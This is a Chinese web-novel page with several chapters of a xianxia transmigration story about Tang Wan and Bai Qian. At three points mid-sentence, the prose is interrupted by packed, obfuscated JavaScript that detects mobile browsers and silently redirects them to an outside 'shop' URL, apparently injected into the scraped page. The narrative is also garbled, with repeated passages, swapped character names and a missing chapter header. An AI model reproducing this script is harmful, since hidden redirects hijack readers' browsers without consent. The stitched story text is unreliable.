《夜雨秋池双梦缘》 1. 柳暗花明又一村 唐婉觉得自己这辈子真是倒了血霉。 十五年前,她本是唐门百年不遇的武学奇才,眼看就要打破记录,成为史上最年轻的先天高手。结果呢?就因为在街上救了个差点被马车撞死的糟老头子,第二天就莫名其妙瘫痪在床,一躺就是五年。这五年,她像个活死人一样瘫在床上,吃喝拉撒都要人伺候。唐门长老轮流上阵,用纯正内力为她疏通经脉,屁用没有。“我这辈子算是完了。”唐婉看着天花板,心里比黄连还苦。她无数次想过自杀,但连自杀的力气都没有。直到今天,奇迹发生了。唐婉猛地一惊,瘫痪多年的身体竟然产生了逆天改命,重铸肉身。《九转玄功》第一转,重塑经脉。一股恐怖的热流瞬间从丹田炸开,沿着她枯萎的经脉疯狂冲刷。那种痛苦,就像是无数把钢刀在血管里搅动。唐婉疼得想惨叫,却发现嗓子眼像是被堵住了。她看见自己的身体在发光,暗淡的皮肤开始脱落,新的肉芽疯狂生长就在这时,七道虚幻的身影在她眼前凝聚。“大姐,这就是那个运气背到家的小可怜?”一个穿着红衣的虚影撇撇嘴,声音脆生生的。“红儿,别乱说。”为首的神女威严端庄,但眼神里透着一丝尴尬,“唐婉,本宫乃九天玄女。按理说,你十五年前就该死了,是地府勾错了魂。为了补偿你”“等等!”唐婉忍着剧痛,咬牙切齿,“你是说,我瘫了五年,是因为你们勾魂勾错了?然后就不管了?”九天玄女的老脸一红:“这个天庭事务繁忙,偶尔会有疏漏。”“疏漏?”唐婉气得想笑,“我唐门百年奇才,就因为你们的一个疏漏,废了五年?现在你们想怎么补偿?”七位仙女面面相觑,这不对啊。正常人不都应该感恩戴德,哭着喊着谢谢娘娘吗?小姑娘,你别激动。”穿绿衣的仙女试图缓和气氛,“我们这不是来帮你重塑肉身了吗?”“重塑肉身?”唐婉冷笑,“我要的不仅仅是重塑。既然你们错了,就得拿出点诚意来。” 她看着九天玄女,眼神犀利如刀:“要么,给我最好的功法,让我重回巅峰,甚至超越以前。要么,我现在就自爆神魂,让全天下都知道,高高在上的九天玄女,是个办事不牢的糊涂蛋!”九天玄女被吓了一跳。这小姑娘的眼神,怎么比魔修还凶?“好好好,算你狠。”九天玄女无奈地挥手, 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“七位仙女听令,把咱们压箱底的宝贝都拿出来,给这位这位姑奶奶重塑金身!”“大姐,这”红衣仙女一脸肉疼。“快点!不然她真自爆了,天庭又要扣工资了!”七位仙女不敢怠慢。红衣仙女一点眉心:“《红莲业火诀》,拿去烧尽你的晦气!”绿衣仙女一挥衣袖:“《乙木长生经》,滋养你的经脉!”蓝衣仙女吐纳水流:“《北冥神功》,扩充你的丹田!”黄衣仙女金光护体:“《金刚不坏体》,让你刀枪不入!”白衣仙女清风拂面:“《清心普善咒》,让你心境无暇!”紫衣仙女紫气东来:“《紫气东来术》,让你修炼速度提升十倍!”橙衣仙女活力四射:“《逍遥游》,让你身轻如燕!”七道神级功法,瞬间涌入唐婉的脑海。“啊——!”唐婉发出一声长啸,瘫痪多年的双腿猛地一蹬。咔嚓!咔嚓!束缚了她五年的床板,直接被这股巨力崩碎。唐婉站了起来。她低头看着自己完美的双腿,感受着体内奔腾如江河的内力,嘴角勾起一抹疯狂的笑意。“唐门?老子不回了。”她看着天上的九天玄女,“既然老天让我重活一世,那这天下,我唐婉要掀个底朝天!” 2. 梦入罗浮别有天 唐婉觉得自己大概是睡太久了。久到她甚至忘了自己是怎么“醒”过来的。上一刻,她似乎还在唐家堡那张阴冷潮湿的床榻上,浑身动弹不得,连指尖都毫无知觉。下一刻,她便站在这里——一个全然陌生的世界。没有仙女引路,没有神佛讲经。只有一股陌生又清冽的空气灌入肺腑,带着泥土与草木的腥气。她低头看向自己的双腿。这是她十五年里,第一次真实地感受到双腿的存在。不是麻木,不是刺痛,而是一种充满了力量、甚至有些“沉重”的真实感。她试着动了动脚趾,那股久违的触感让她心头狂震。“这是哪里?”她环顾四周。这里没有赵宋王朝的熙攘街市,也没有唐门那肃杀的练武场。眼前只有一片苍茫大山,云雾缭绕,煞气弥漫。山道上,偶尔走过几名女子,皆身着素衣,腰佩长剑,神情冷冽如霜。这是一个完全由女子组成的门派。“地隐门。”唐婉脑中忽然涌出这两个字,连同这个世界的常识,就像是本来就藏在她的记忆深处,此刻才被翻找出来。原来,她穿越了。从那个卧病在床、受人白眼的唐门弃子,变成了这个名为“地煞”世界的异乡人。“煞士”唐婉低声咀嚼着这个词。在这个世界,能驾驭煞气的人被称为煞士。而修炼之道,更是森严得近乎残酷。从凝煞七阶起,细分九品,每一品的晋升都如登天般艰难。她迅速整理着脑海中的信息:煞士四境——初窥段、笃行段、化境段、凌霄段。“初窥段。”唐婉握了握拳,感受着体内那股微弱却真实的煞气流动。她竟然直接跨过了凝煞期,站在了初窥段的门槛上。这具身体的原主,或者说老天爷补偿给她的,似乎并不只是健康这么简单。“唐婉啊唐婉,你以前总说,若能下床,便是爬,也要爬出一条生路来。”她对着空山冷笑一声,眼神中的迷茫迅速褪去,取而代之的是一种久违的锐利。“现在既然能跑了,那便跑给他看。”地隐门坐落在半山腰,山门古朴,没有多余的装饰,只有一块斑驳的石碑,上书“地隐”二字,笔锋阴狠毒辣,透着一股隐忍不发之意。这正是唐婉擅长的风格。她迈步向山门走去,步履轻盈。这个世界没有唐门,没有家族倾轧,也没有那该死的残疾。她现在是一个崭新的唐婉,拥有健康的身体,和一份来自异世的灵魂。山道上,几名巡逻的弟子看到了她。“站住!”一名蓝衣女子横剑拦住去路,目光在唐婉身上一扫,眉头微皱,“哪里来的闲杂人等,敢闯我地隐门禁地?”唐婉停下脚步,不卑不亢地回道:“我无门无派,误入此地。听闻贵派只收女弟子,我虽无根骨,但尚有一腔热血,想求一门安身立命的技艺。”“笑话!”那弟子冷笑,“我地隐门乃是名门大派,岂是你想进便进的?看你年纪,已过舞勺,连煞气都未凝聚,还是早点下山,嫁人生子去吧。”旁边的几名弟子掩嘴轻笑。唐婉却没动怒,只是静静地看着那名弟子,嘴角勾起一抹极淡的弧度:“这位师姐,地隐门既然以‘隐’为名,修的便是隐忍、爆发、一击必杀之道。若只看出身,不看心性,那与世俗门派何异?”那弟子一怔,脸色顿时沉了下来:“牙尖嘴利!看来不给你点教训,你是不知道天高地厚!”她手腕一翻,剑尖颤动,一道寒芒直刺唐婉面门。这一剑又快又刁,显然是奔着毁容去的。唐婉眼神一凛。身体的本能比大脑更快。她脚下微错,身形如鬼魅般滑开半步,恰好避过剑锋。 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同时,她的右手并指如刀,精准地点向那弟子握剑的手腕——正是唐门失传已久的“分筋错骨手”。“啊!”那弟子惨叫一声,长剑脱手。唐婉顺势一脚,踢在对方膝盖关节处,那弟子“噗通”一声跪倒在地。一切发生在电光火石之间。唐婉收手而立,气息不乱,冷冷道:“这一招,叫做‘礼尚往来’。师姐既然要教训我,便该做好被反杀的准备。”那弟子满脸羞愤,却爬不起来。“住手。”一道清冷的声音从山门内传来。众人回头,只见一名身着灰衣的女子缓步走出。她看起来不过二十出头,面容平凡,但一双眼睛亮得吓人,仿佛能洞穿人心。“内门执事,白梦秋。”有弟子低呼。白梦秋走到唐婉面前,上下打量着她。“你叫什么?”“唐婉。”“谁教你刚才那招的?”“我自己琢磨的。”唐婉面不改色。她自然不能说这是唐门绝学,便推给了这具身体原本的记忆。白梦秋沉默了片刻,忽然笑了。那笑容让她平凡的脸生动起来。“没有煞气护体,仅凭肉身发力,就能点穴、踢膝、卸力一气呵成。唐婉,你很适合我地隐门。”她转身,对着那名被教训的弟子冷冷道:“去刑堂领二十鞭。明知对方是初窥段,还动用杀招,丢了地隐门的脸。”“是”那弟子灰溜溜地退下。白梦秋回头看向唐婉,眼神中带着一丝审视与期待:“唐婉,你既无门无派,又身怀奇技。可愿入我地隐门,做个记名弟子?”唐婉心中一块石头落地。她知道,自己在这个世界的第一步,终于站稳了。“弟子唐婉,拜见执事。”她干脆利落地跪下,重重磕了三个响头。头触碰到冰冷地面的那一刻,唐婉心中只有一个念头:唐门唐婉已死,地煞唐婉当立。 3. 此情可待成追忆 山道清冷,雾气未散。唐婉正思忖着这具身体的根脚,鼻尖忽然掠过一缕极淡的冷香。不是脂粉气,倒像是什么名贵药材浸出来的味道。发丝被轻轻拂过脸颊,带来一丝痒意。紧接着,一个略带颤抖的女声贴着她耳畔响起,热气喷在颈侧,酥麻入骨。“唐婉……我、我对你……”那声音羞涩欲绝,仿佛鼓足了这辈子所有的勇气:“我从未对人这般心动过。你就像我梦里才会出现的仙人。”唐婉浑身一僵。这种事,近来发生得太频繁了。她转头,看见一张涨得通红的脸。是赵雨菲,那个昨日才在山门前被她三言两语哄得团团转的内门弟子。此刻,赵雨菲眼神迷离,双手紧紧攥着衣角,哪还有半点修士的清冷。唐婉心中泛起惊涛骇浪。这具身体有毒?不,不是毒。是一种更诡异的特质。凡是跟她接触过的女子,似乎都会在短时间内对她产生一种近乎盲目的好感与依赖。“赵师姐,慎言。”唐婉不动声色地退了半步,拉开距离。赵雨菲却像是被伤了心,眼眶瞬间红了,咬着唇道:“唐妹妹,你嫌我烦了么?”“不敢。”唐婉心中警铃大作。这能力若是被地隐门高层知晓,恐怕不会把她当做天才,而是当做某种需要被“净化”的妖物。她正想敷衍过去,山道另一头,又传来一道清冷的声音。“赵师妹,你在此胡闹什么?”陆青烟来了。她依旧是一身墨蓝劲装,身姿挺拔,气质冷冽如高山积雪。作为地隐门三代弟子第一人,炼煞三品的修为让她周身散发着强大的压迫感。赵雨菲吓得一哆嗦,慌忙退到一旁。陆青烟走到唐婉面前,目光如利剑般扫过她的全身。“白执事让你在此等候,你便在此等候。若敢四处走动,扰乱山门清净,休怪我不客气。”语气严厉,毫无转圜余地。然而,就在她与唐婉视线相交的刹那,那双原本冷若冰霜的美目,竟不受控制地泛起一层薄薄的水光。陆青烟握剑的手猛地一紧,指节发白。她张了张嘴,原本准备好的训斥卡在喉咙里,最后竟变成了结结巴巴的一句:“你你身上,好香。”唐婉:“……”陆青烟说完,自己先愣住了,随即那冷冽的脸庞以肉眼可见的速度爬满红霞,一直红到了脖子根。她猛地低下头,不敢再看唐婉,心跳如擂鼓,震得胸腔发疼。唐婉看着这一幕,心中那点涟漪瞬间化作了惊涛骇浪。炼煞三品!??地隐门三代第一人!说红脸就红脸?这绝不是什么魅力无双,这分明是中了邪!唐婉强迫自己冷静下来,内视己身。她沉入气海,想要查看那所谓的“丹田”。这一看,她倒抽一口凉气。在气海深处,并没有寻常修士那般雾状的煞气云团。那里空空荡荡,只有一颗米粒大小、晶莹剔透的珠子,悬浮在中心。丹田内核。地煞世界的常识瞬间涌入脑海。在这个世界,修士需得将煞气凝练到极致,达到炼煞三品巅峰,才有极小的概 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率凝聚出“丹田内核”。一旦凝聚,便意味着半只脚踏入了“初窥段”的大门,是万里挑一的骄子。陆青烟,便是这样的骄子。可是唐婉看着气海里那颗晶莹的小珠子,荒谬感直冲天灵盖。我自己才什么修为?她刚才费了九牛二虎之力,也不过是拓宽了经脉,连炼煞一品的门槛都没摸到。在这个世界,她连个“半品”都算不上,顶多算是个胚胎。一个连炼煞一品都不到的废柴,丹田里居然长了一颗内核?纵观地隐门历史,乃至整个地煞大陆,从未有过这样的传闻。别说炼煞一品,就是那些绝世天才,也是在炼煞二品时才能窥得一丝内核的影子。“百丈高楼平地起”唐婉喃喃自语。她伸出手掌,看着这双纤细却有力的手,嘴角不受控制地向上扬起,露出一抹近乎疯狂的笑意。别人修的是煞气,是境界,是杀人的本事而她唐婉,修的是根基。这颗莫名其妙出现的“丹田内核”,就像一个无底洞,又像是一座永不枯竭的矿山。它意味着,从这一刻起,唐婉走的路,注定与这世间亿万修士截然不同。她不需要急着去凝煞、去杀人、去抢夺资源她只需要慢慢地、扎实地把这座地基,打得比谁都牢。“有意思。”唐婉低声笑道,眼中的惊惧褪去,取而代之的是一种久违的、属于唐门顶尖天才的狂傲。“既然老天让我带了这颗‘心’来。”“那我便用它,把这地煞世界的天,捅个窟窿看看。” 4. 巴山夜雨涨秋池 冷。刺骨的冷。白浅猛地从床上弹坐起来,大口喘息,额头上细密的冷汗在昏暗的烛光下泛着光。不是梦。那场血淋淋的背叛,那股穿透灵魂的寒意,绝不是梦境。她本是昆仑虚最杰出的弟子,是师尊墨渊最看重的继承人,可就在那一夜,月黑风高,那双曾亲手教她握剑的手,却毫不留情地将剑锋刺穿了她的心脏。“为何”白浅低吼出声,声音沙哑破碎。她下意识地摸向自己的胸口,那里本该有一个血洞,可此刻触碰到的,只有温热的皮肤和布料的纹理。她低头,看到的不是自己熟悉的那具身体,而是一具陌生的、略显单薄、属于十五岁少女的躯体。她真的死了。然后重生了?就在这时,窗外传来一阵急促的衣袂破空之声。“刷”几道身影如鬼魅般窜入屋内,带进一股夜雨的湿气。白浅警惕地抬头,只见为首一人风华正茂,虽眼角已爬上几道操劳的鱼尾纹,却难掩其雍容端庄的气质。那女子一身绿衣,长发挽髻,目光扫来时,带着一种发自肺腑的担忧与急切。“浅浅!”绿衣妇人快步上前,见白浅挣扎欲起,纤手一挥,一股柔和的力道便将她轻轻按回床榻。“城主”屋内原本坐着的人都恭敬地行礼。城主?白浅脑中轰然一响,尘封的记忆如潮水般涌出。巴山夜雨城这座矗立在南离大陆的巨无霸宗门,下辖弟子数万,高手如云。城分五区:宫鸣、商风、角鹿、徵水、羽鹤。而眼前这位,正是巴山夜雨城的主人白望春。她是这具身体名义上的母亲?不,记忆里,这个“白浅”只是被托付给白望春抚养。而那个将她送来的人,是白望春口中那个“那个女人”。想到“那个女人”,白浅下意识地打了个寒颤。那是她前世的噩梦,也是这具身体血缘上的生母。“浅浅,你感觉如何?”白望春的声音带着一丝不易察觉的颤抖,她仔细检视着白浅的脸色,确认她真的无恙后,才长长舒了口气。白浅看着她,心中五味杂陈。这具身体的原主,对这位抚养她长大的城主有着深厚的孺慕之情,但这份情感,此刻却与她前世记忆里的背叛混杂在一起,让她感到一阵割裂的疼痛。“我没事,劳烦城主挂心。”白浅低声道,声音依旧沙哑。白望春身后,跟着五位风姿各异的女子,正是巴山夜雨城权柄最重的五位区主。“宫鸣鹤之舞、商风叶轻扬、角鹿乐林间、徵水波涟漪、羽鹤翔云天。”白浅在心中默念。这五人,加上眼前的白望春,掌控着这座庞大城池的命脉。白望春冷冷地扫视了一圈屋内的人,最后目光落在白浅身上,那眼神复杂难明,有关切,有痛惜,更有一种深藏的恐惧。她忽然冷哼一声,声音不大,却让整个房间的气温骤降:“我不管你们之间有什么恩怨。但是浅浅,她是那个女人的孩子!”提到“那个女人”,五位区主的脸色都微微变了变。十几年前的巴山惨变,她们亲身经历过。那个女人, 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怀胎六月,一柄长剑杀得整个巴山夜雨城鸡飞狗跳,血流成河。若不是顾念同门之谊,当时的巴山恐怕早已从地图上被抹去。“当年她不杀你们,是给巴山留最后一点根基。”白望春的声音幽幽响起,带着一丝后怕,“今天浅浅若是有个三长两短,你们告诉我,整个巴山拿什么给浅浅陪葬?!”众人噤若寒蝉。白浅躺在床榻上,听着这些话,心中却是惊涛骇浪。那个女人那个抛弃她、让她在巴山夜雨城寄人篱下十五年的生母,竟然强大到能让整个巴山夜雨城都忌惮至此?而现在,她白浅,继承了这具身体,也继承了这份沉重的因果。“城主”白浅虚弱地开口,“我真的没事。”白望春深吸一口气,眼中的凌厉渐渐被疲惫取代。她揉了揉额头,对众人挥了挥手:“传令下去,今日之事,谁敢外传半句,门规处置。”说罢,她深深地看了白浅一眼,那眼神里有太多白浅读不懂的东西。“浅浅,你好好休息。还有一年”白望春的声音低不可闻,“只要你离开巴山夜雨城,从此天高海阔,是生是死,我再不会管你。说完,她转身离去,五位区主紧随其后。屋内恢复了安静,只剩下烛火摇曳。白浅躺在床上,望着陌生的屋顶,前世师尊的背叛,今生母亲的阴影,还有这具身体隐藏的秘密,她缓缓握紧了拳。巴山夜雨城,这座囚笼,她一定要走出去。而那个“那个女人”,她倒要看看,究竟是何方神圣。 5. 美人如玉剑如虹 翠微阁内,烛火摇曳。白浅猛地从榻上坐起,冷汗涔涔。她大口喘息,眼前似乎还残留着血色——不是她被重创的画面,而是这具身体原主残留的恐惧。那个被叫做“母亲”的女人,那个在巴山夜雨城掀起腥风血雨的女人,留给这具身体的阴影太深了。“浅浅,你醒了?”一声温柔的呼唤将她拉回现实。 白浅抬头,看见一位身着素衣的妇人坐在榻边。妇人看起来三十岁上下,风华正茂,虽眼角已有细纹,却难掩其雍容端庄之态。她伸出手,轻轻拭去额头的冷汗。这便是白望春,巴山夜雨城的城主,也是这具身体名义上的姑母。白浅心中五味杂陈。从原主记忆来看,白望春待她极好,甚至有些溺爱。但正因为这种溺爱,才让原主养成了软弱无能的性格,最终在那位“母亲”面前毫无还手之力。“姑母。”白浅低声唤道,声音还有些沙哑。白望春眼中闪过一丝心疼,柔声道:“莫要多话。你可知我有多担心?那女人行事狠辣,若真伤了你,我该如何向你母亲交代?” 白浅垂眸,掩去眼底的精光。那位“母亲”那个让整个巴山夜雨城忌惮的女人。她不仅是原主的噩梦,恐怕也是白望春心底最深的一根刺。“我没事了。”白浅平静地说道,“既然她没杀我,便说明我还‘有用’。这一年,她不会再动手。”白望春神色一怔,诧异地看着白浅。这孩子变了。以前的白浅在她面前总是怯生生的,像只受惊的小鹿。可此刻眼前的唐婉,眼神沉静如古井,透着一股与年龄不符的冷冽。“你长大了。”白望春轻叹一声,不再多言,只是替她掖了掖被角,“你好好休息。这一年,谁也伤不了你。”说罢,她起身离去,翠微阁内重归安静。白浅长舒一口气,内视己身。这具身体伤势不轻,但奇怪的是,那股从地煞世界带来的“丹田内核”,此刻正如心脏般微微搏动,散发出的暖流正在修复受损的经脉。一声温柔的呼唤将她拉回现实。一位素衣妇人坐在榻边,正是白望春。她伸手拭去唐婉额头的冷汗,动作轻柔,眼中满是溺爱。白浅心中五味杂陈。这具身体的原主也叫白浅,是白望春抚养长大的侄女。可此刻,占据这具身体的,是来自异世的白浅。“姑母。”白浅低声唤道,声音还有些沙哑。白望春眼中闪过一丝诧异。这孩子变了。以前的白浅怯懦如幼鹿,可此刻眼前的少女,眼神沉静如古井,透着一股与年龄不符的冷冽。“你可知是谁伤你?”白望春声音转冷,“是那个女人。她十六年前留下你,如今又来试探。”白浅垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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翠微阁内,烛火早已熄了。巴山夜雨城,白浅沉沉入睡,梦中依旧是那片冰冷的昆仑虚雪。而千里之外,地隐门,茗香阁。湿润的山风穿窗而入,拂动青纱帐。天光透过精致的窗棂,在床榻边投下斑驳光影,落在唐婉苍白却绝丽的脸上。她醒了。不是被噩梦惊醒,而是体内那颗“混沌珠”搏动得太过剧烈。白浅那边的共鸣,像一道横跨千里的电流,狠狠撞击着她的丹田。“巴山夜雨城”唐婉低语,指尖微微发颤她翻身下榻,步履轻盈如猫。走到铜镜前,她打量着这具身体——十六七岁的模样,乌发如瀑,肌肤胜雪。柳叶眉下,那双秋水般的眸子里,此刻却藏着与年龄不符的冷冽与深邃。这是原主的底子,加上唐门千锤百炼的身法,以及九天玄女与七仙女传承的洗礼。“这身体,倒是不亏。”唐婉轻扯嘴角,眼中闪过一丝唐门人特有的锐利。她推开窗,任由晨曦洒满肩头。也就是在这一刻,同住一院的陆青烟与赵雨菲正巧路过窗外两女原本正低声交谈,可目光触及窗前那道身影时,瞬间僵住。唐婉并未刻意施展魅术,但那股“混沌珠”带来的特殊气场,让陆青烟那双清冷的眸子瞬间失焦,脸颊飞起两朵红云,一直红到耳根。而一旁的赵雨菲更是痴了,手中帕子落地都浑然不觉。“美不美?”唐婉回头,看向二人,声音里带着一丝戏谑。两女拼命点头,连呼吸都屏住了。“喜不喜欢?”唐婉又问。两人再度猛点头,眼中满是迷醉。唐婉心中暗叹。这体质在斗姆世界或许是奇珍,但在这里,恐怕是祸非福。她收敛心神,不再逗留,径直走出了茗香阁。她需得出去透透气,理清这混乱的思绪。行出十里,视野豁然开朗。晋安城,地隐门的外围领地,繁华壮阔,方圆千里皆受其庇荫。街道上人流如织,商铺林立,无数小家族依附地隐门而生,供应着这座庞大宗门运转所需的资源。唐婉漫步其中,感受着这方世界的喧嚣。她如今是地隐门最特殊的存在——入门最晚,修为却深不可测。地隐门分内外二宗内宗占地三成,仅有五百弟子,皆是精英中的精英,能在炼煞五品前凝聚“丹田内核”,天赋卓绝。外宗两千余人,修为平平,主要负责宗门运转。而唐婉,是个异数。她不仅是内宗核心弟子,更是地隐门千年来唯一一个踏入“剑心通明”之境的人。何谓剑心通明?那是剑道之巅,至高无上的境界。一剑在手,万法皆破。无论敌人的杀招如何凌厉,皆能一剑斩之。这并非单纯依靠修为,而是对“道”的领悟。地隐门长老穷其一生,大多止步于“剑气纵横”,唯有唐婉,凭借前世唐门对“技”的极致追求,加上九天玄女的传承,无意中叩开了这扇门。“九天玄女剑经,七仙女仙诀”唐婉心中默念。这两部传承已融入她的神魂,让她即便身处这地煞世界,剑法也早已超凡入圣。她脚步未停,穿过闹市,走向地隐门禁地之一的龙渊宝藏。这是宗门兵器库,由两名女弟子看守。秦姝与单芷若。二女皆是气质脱俗,清新雅丽,宛若百合。见唐婉前来,她们眼中并无轻视,只有深深的敬畏——整个地隐门,谁不知晓这位新晋师姐的恐怖战力?“唐师姐。”二女敛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594631|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衽一礼。唐婉微微颔首,目光瞬间锁定壁架上那柄散发着诡异光芒的长剑。剑身狭长,隐有雷电游走“此剑何名?”唐婉问。秦姝柔声答道:“此乃闪魂剑,位列九阶真武宝器。剑身铭纹十四道,四道主杀伐,四道主冰封,四道主雷电,余下两道主光明。集冰、电、光三系异能于一身,极为罕见。”“可售否?”唐婉直截了当。单芷若笑道:“师姐说笑了,此等神兵,非金银可量。除非师姐能拿出同等价值的宝物交换。”唐婉也不废话,从怀中取出一只玉瓶,轻轻放在案上。这是我以九天玄女丹方炼制的‘蕴灵丹’,可助化境段以下修士直接提升一阶修为。”秦姝与单芷若对视一眼,眼中闪过心动之色。但这还不够。唐婉又取出一卷古朴的皮纸,摊开一角。刹那间,剑意冲霄。“这是《七仙女仙诀》残卷,记载了以身为阵、引动天地灵气的秘法。”二女倒吸一口凉气。这等秘典,价值已不亚于闪魂剑!“再加上我前世在唐门所得的一部《暴雨梨花针》图谱。”唐婉声音平静,却带着不容置疑的力量,“三物交换一剑,二位师妹,这笔买卖,可还划算?”秦姝与单芷若深吸一口气,郑重地点了点头。“多谢师姐!”交易达成。唐婉手握闪魂剑,只觉剑身与自己体内的混沌珠隐隐呼应。她知道,这把剑,将是她跨越千里,去见那个叫“白浅”的女人的依仗。她走出龙渊宝藏,身后是秦姝与单芷若恭敬的相送。“等着我。”唐婉望向西北,那是巴山夜雨城的方向。“无论是谁在呼唤我,这一次,我唐婉,都要亲自去看看。” 7. 剑舞惊鸿映碧空 翠微阁内,烛火摇曳。白浅沉沉入睡,梦中依旧是那片冰冷的昆仑虚雪。而千里之外,地隐门茗香阁,晨曦正透过窗棂,洒在唐婉苍白却绝丽的脸上。湿润的山风穿窗而入,拂动她乌黑的长发。昨夜与白浅那跨越千里的灵魂共振,让唐婉体内的“混沌珠”搏动得愈发剧烈。她深吸一口气,压下翻腾的气血,推门而出。兵器库的门无声开启。守卫的秦姝与单芷若见是她,并未阻拦,只是目光中带着几分敬畏与探究。唐婉径直走向壁架,取下了那柄闪魂剑。剑身入手,寒意刺骨,十四道铭纹微微震颤,仿佛在呼应她丹田内的混沌珠。她手腕一抖,剑尖划出一道冰蓝电弧,与这地煞世界的气息格格不入,却又完美融合。“多谢二位师妹。”唐婉微微颔首,转身离去。她没有注意到,身后秦姝与单芷若交换了一个凝重的眼神。“芷若妹妹,”秦姝声音压得极低,“你看唐婉那般急切模样,似是得了什么稀世珍宝。掌门白梦秋闭关前曾有严令‘那病秧子唐婉若有异动,即刻禀报我和巴山夜雨城的白望春’。”单芷若眸中闪过一丝狡黠与凝重:“秦姝姐姐所言极是。此事关乎宗门安危与外界联络,片刻拖延不得。姐姐稍待,妹妹这就修书一封,飞鸽传往巴山夜雨城。”她轻移莲步,取来文房四宝,笔走龙蛇。不一会儿,一封密函已成,系在了信鸽腿上。“嗖——”信鸽腾空而起,化作黑点,径直朝着西北方向的巴山夜雨城飞去。古朴的通讯方式,却承载着关乎两位穿越者命运的信息。唐婉对此一无所知。她手持闪魂剑,恍若御风而行,信步漫游至闻香苑。此地乃内宗晨练圣地,数十名女弟子正演练“隐水剑法”。剑光如水,身姿曼妙,行云流水间尽显精妙。若是以前的“病秧子唐婉”,此刻定是看得眼花缭乱,不知所措。但此刻,占据这具身体的灵魂,是来自唐门的顶尖杀手,是得过九天玄女传承的修仙者。她仅仅旁观了片刻,隐水剑法的每一招每一式,便如烙印般深深刻入脑海。那不再是简单的模仿,而是一种“看透本质”的洞察力。 “好剑法。”唐婉心中赞叹,跃跃欲试的冲动再难抑制。她轻挽剑花,闪魂剑出鞘。冰蓝色的剑光与原本淡绿色的隐水剑气截然不同,更冷冽,更霸道。她闭目凝神,将混沌珠的力量注入剑身,尝试将隐水剑法融入其中。剑光乍起,虽因身体尚未完全适应而略显生疏,但那超凡脱俗的气质,已让周围练剑的弟子纷纷侧目。正当唐婉沉浸在剑意之中时,一股凌厉的杀意自旁袭来!“妖女!敢擅闯地隐禁地,偷学我派剑法!”一道剑光直刺唐婉后心,又快又狠。唐婉心中一惊,却不慌乱。唐门的本能让她在千钧一发之际身形一侧,闪魂剑顺势一撩。“铛!”火星四溅。唐婉借力飘退三步,抬眼望去,只见一位身着墨绿劲装的女子正怒目而视,手中长剑嗡嗡作响,显然被她的“偷师”行为激怒了。“这位师姐,莫要误会。”唐婉压下心中的悸动,脸上挂着惯有的和煦微笑,“我只是路过,见剑法精妙,忍不住一试身手,并无恶意。”“路过?一试身手?”那女子冷笑,“我派剑法岂是你能随意染指的?看剑!”剑光再起,两人瞬间战作一团。唐婉初得神兵,又对隐水剑法不熟,一时间竟被压制。但她的战斗意识太强,往往在间不容发之际以精妙的身法避过要害,闪魂剑的冰蓝电弧也让对手颇为忌惮。剑光如织,人影交错。周围的弟子们看得心惊肉跳,却无人敢上前劝阻。正当两人斗得难解难分之际,一股恐怖的威压骤然降临!“住手!”声音不大,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594632|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如惊雷炸响在每个人耳边。众人循声望去,只见一位身着华丽宫装的中年女子缓步而来。她面容端庄,气质高贵,每一步都仿佛踏在众人的心跳上。 地隐门掌门白梦秋。她刚出关,便感受到宗门内剑气激荡,混乱不堪。全场瞬间死寂。那墨衣女子吓得脸色惨白,连忙收剑,低头不敢言语。白梦秋的目光如炬,先是扫过那墨衣女子,冷哼一声,随后定格在唐婉身上。当看清唐婉的脸时,白梦秋的瞳孔猛地一缩。她认得这张脸。那个几年前被送来地隐门时,病恹恹、连路都走不稳的“林妹妹”唐婉。可此刻,这女子虽脸色依旧苍白,但那双眼睛深邃如古井,冷冽如寒星,哪还有半分当年的怯懦?“你?”白梦秋的声音带着一丝不易察觉的颤抖,“你是唐婉?”唐婉心中一紧。她最担心的事情还是发生了。白梦秋认出了原主。但她面上依旧镇定,微微敛衽一礼,笑道:“掌门大人,正是弟子唐婉。今日路过闻香苑,见大家练剑,一时技痒,便上手试了试。若有冒犯,还请掌门恕罪。”“技痒?”白梦秋走近两步,目光锐利如刀,仿佛要剥开她的伪装,“本座闭关前,你还是个连走路都喘的废物。短短数月,竟能与此女战得旗鼓相当?”她顿了顿,声音陡然转冷:“唐婉,你究竟是谁?还是说你夺舍了她的身体?”周围的弟子一片哗然。夺舍!这是修仙界最邪恶的禁忌之术!唐婉感到无数道目光如针般刺来。她知道,若不能打消白梦秋的疑虑,今日便是死期。她深吸一口气,强行压下心中的惊涛骇浪,迎着白梦秋的目光,坦然道:“掌门大人明鉴。弟子并未夺舍,只是偶得奇遇。”她举起手中的闪魂剑,剑身冰蓝电弧跳跃,映照着她苍白却坚定的脸庞。“昔日病秧子,今日得神兵。 8. 剑韵悠扬夜未央 